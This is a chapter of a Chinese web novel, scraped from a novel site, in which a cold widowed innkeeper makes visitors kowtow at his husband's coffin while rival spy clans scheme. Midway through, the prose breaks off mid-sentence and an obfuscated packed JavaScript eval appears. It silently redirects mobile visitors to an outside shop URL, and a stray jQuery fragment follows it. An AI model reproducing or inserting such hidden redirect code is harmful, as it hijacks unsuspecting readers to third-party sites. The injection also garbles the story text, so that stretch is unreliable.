文趣网 > 都市小说 > 奈何寡夫门前是非多 > 3. 黑皮青年
    徐望舒目瞪口呆地看着陆萧吟竟真的被云少微那冰冷的眼神唬住,整个人顿时呆滞在原地。

    云少微只是向前一步极其轻微地拍了下他的肩膀,他就“咚”地一下就跪了下去。

    一时之间所有人都将目光投了过来。

    陆萧吟:……

    刚刚……是他的错觉吧,他只是腿软没站稳吧?不然这么一个柔弱无助的寡夫而已,只是轻碰了下他而已,他怎么就腿一抽跪下来呢?!

    应该是最近没休息好……

    “陆公子,请吧。”

    云少微垂着凤眸看着他,眼神里没有一丝波澜,瓷白的皮肤微透着冷光。

    面对着在场所有人的眼光,陆萧吟虽觉失了面子,但也知道在死人馆前闹事才是更失教养!

    更何况这是云少微让他跪的,他不是给这个死人面子,只是在给云少微面子。

    陆萧吟就这样把自己说通了,咬牙对着方宥的棺材磕了个头。

    在月溪镇当了大半年的镇长,徐望舒可太了解这个地主陆府大公子的个性,面子大过天!装逼才能活!

    所以他震惊无比地看着陆萧吟竟然真的给方宥磕了头!

    手里的牛皮纸震动了几番,徐望舒才迟钝地缓过神来,想起远方的家主。

    啊啊啊,老大不好了,云老板这张脸我可看不住啊!

    准备回信的时候,前面的云少微却偏了下头,眼神准确无误地看向徐望舒:“镇长竟然在那看了这么久,想来也是为了我的丈夫来的,也来磕一个吧。”

    徐望舒:……

    他攥着牛皮纸的手僵住了,心跳都被吓得停止了。

    “不来吗?”

    明明对方只是平静的询问他的意见,但是徐望舒敏感的神经全都绷紧,像是被锋利的匕首抵着颈脖,喉咙间透着森森冷风。

    “……我,我就是来给方宥哥磕头的!刚刚……看陆少爷在磕没抢到位置哈哈哈。”

    徐望舒能屈能伸地很,反正方宥是他家主,给家主磕一个怎么了?

    ……虽然里面的是个假尸,但是——

    没来得及但是了,徐望舒只来得及磨蹭一秒,云少微看他的眼神就瞬间冷了下去。

    “咚!”

    “方宥哥啊,你一路走好啊——”徐望舒迅速下跪,眼泪说来就来,连忙给面前的棺材磕了三个头。

    云少微的眼神恢复正常,然后走到他和陆萧吟面前。

    “忘了拿香,再磕一次吧。”

    徐望舒、陆萧吟:……

    *

    葬礼一直忙到深夜,云少微才得到片刻的休息。

    房间里,身披素衣的寡夫疲倦地按着自己的太阳穴:“快些说,我晚点要下去守灵。”

    属下一听立马加快语速:“偷紫菱密洞钥匙的人查到了,是玄影派家主,他今日自己将消息放了出来,不知有何打算,属下觉得这里有计,需谨慎。”

    云少微掀起眼眸,里面是些许的红血丝:“我最近没空跟他周旋……先交给成叔吧。”

    属下不小心对视上了云少微的眼睛,愣了一下,立马垂下头来。

    云雀家规第一条:不准盯着家主的眼睛。

    云少微没有发现他的动作,只是自顾自先给自己倒了被浓茶提神:“还有什么事吗?”

    属下回过神,继续说道:“还有就是,珠霖那个任务家主您没去,最后被青羽那边捷足先登,对方还托人传话给您。”

    云少微皱了下眉:“什么话?”

    属下咳了两声,然后突然站直身,有模有样道:“云雀家主这次是因为不能扯他裤腰带赢,所以怕输不来了吗?不过还烦请云雀家主能管好自己的手,不要见谁都扯人家裤腰带。”

    ……云少微平静地把桌角碾碎了。

    *

    次日早晨,熬了一大夜的云少微看着徐望舒都快以为自己是不是熬穿后出幻觉了。

    “你说方宥托梦给你了?”

    云少微看着面前一大筐的东西,脑筋开始抽痛。

    “这些东西都是方宥给我留的?”

    徐望舒擦了擦汗,将这筐放在了地上,不小心砸出来一声沉闷响声。

    云少微今日依旧穿着丧服,头上还戴着一层白纱,许是昨日没休息好,他的脸色微微苍白,眼神滞了一瞬。

    “是啊,他叫我一定要交给你,不然就日日来我梦里骚扰我!”

    云少微不说话低头看着那一大筐的东西。

    “老板,前两日跟你们酒楼订好的菜送来了。”

    云少微在这一声呼喊中回神。

    “好。”他偏头看了看这一筐子,欲言又止道:“这个……你先放着吧,我晚点带回去。”

    说完收回眼神去查看马车上的东西,晃了晃头想让自己清醒点,然后挽了下衣袖,想动手将一马车的菜给搬下来。

    徐望舒:!!!

    “等等!云老板你别动,我来帮你搬吧!”

    你可千万别动啊!这小贩是青羽细作!你可千万不能在我眼皮底下干活啊——

    云少微闻言瞥了他一眼,眼神中流露出一丝疑惑。

    “不用了。”

    他自己能搬。

    “不不不!你快去外头看着吧,我来搬就好,这筐饼你也别动他,告诉我放哪就好,我给你放!”

    说完就伸手想从云少微手里抢菜,但云少微反应很快,徐望舒抢到马车上的菜的时候连云少微的衣角都没碰到。

    云少微皱了皱眉。

    “哎哎哎!镇长你这是干什么,来了就是客人,哪有给客人做活的道理?!”成遥不知是从哪冒出来的,手疾眼快地就抢过徐望舒手里的东西,“来来来我来搬就行,你们都去坐着就好。”

    徐望舒:“不不不还是我来搬吧,我跟方宥哥相识已久了,哪算得上客人,我来搬我来搬。”

    成遥:“不不不,还是我身为云宥居管事,这是我分内工作,我来搬就好。”

    徐望舒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787675|210220||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“你说你客气什么,我来搬就行。”

    成遥:“不不不镇长你去外头坐着就行,我来搬就好——”

    徐望舒果断松了手:“那好,那就辛苦成管事了。”

    成遥:“我来——”?!

    徐望舒也就跟他客气一下,只要不是云少微搬就行,有人主动搬还不好?他才懒得搬呢。

    于是就变成他和云少微两人看着成遥一个人卸货。

    成遥:……

    不是,你们都真的只是看着啊!

    早知道刚刚不该客气这么多的……

    正在心里后悔流泪呢,没看清脚下,许是那个孩童落下的弹珠,一下就把搬着重物的成遥绊倒了!

    要是手里没有这几十斤的菜,成遥就算被绊着一下也不会摔,但是手里的东西阻碍了他做出反应。

    眼看着要狠狠摔一跤的时候,一只手臂半环住他的腰,强有力地卸下来了他绊倒的重力。

    是云少微。

    成遥感激地看着对方:家主!

    云少微眉头一挑,眼神中带着质疑,仿佛在说:怎么这么容易被绊倒?是不是太久没有训练,武功退步了?

    成遥瞪大眼睛,轻轻摇头:当然不是,只是被偷袭了而已!

    云少微眼眸一垂,不掩冷漠:我看未必,加练吧。

    成遥:……不——

    而一旁的徐望舒看见这两人如此亲密的动作时,呼吸停止,手指颤抖。

    “我……我突然想起家里的被子还没收,我看这天快下雨了,我,我回去收个被子再来!”

    说完就一溜烟地跑出去,而松开成遥的云少微抬头看了看万里无云的天,眉眼中像是有些不解。

    而没拿被子的镇长其实也没有回家,出了酒楼就立马掏出了牛皮纸。

    【老大出大事了!管事已经和嫂子搂搂抱抱上了,两人还当着我的面眉来眼去!暗度成仓!横刀夺爱!小三上位!!!】

    *

    另一边,刚做完任务回来的方宥,一边喘气一边拿着湿布擦自己溅了满脸的血,这几日他都习惯性地拿出牛皮纸一看。

    这回没看空。

    一想到有云少微消息了,方宥无意识地露出了点笑。

    看他心情不错,手下人趁机道:“家主,我们今日比计划快了不少,明日大家伙能不能休息半日,我来这还没逛——”

    “逛什么逛?出任务是让你来玩的吗?!”只见刚刚还笑着的方宥瞬间变脸,眼神都阴沉不少:“都给我起来,接着干活去!”

    再不回去,我就彻底要成前夫了!!!

    *

    几日之后,方宥的头七过完,云宥居终于撤了白布,准备重新营业。

    而这一日的凌晨,天微微发亮之时,在鸡鸣响起的那一刻,寡夫家的门被敲响了。

    来者是一个黑皮肌肉青年。

    长相英俊,笑露虎牙。

    “听说你的丈夫死了,我想你们酒楼需要新的伙计。”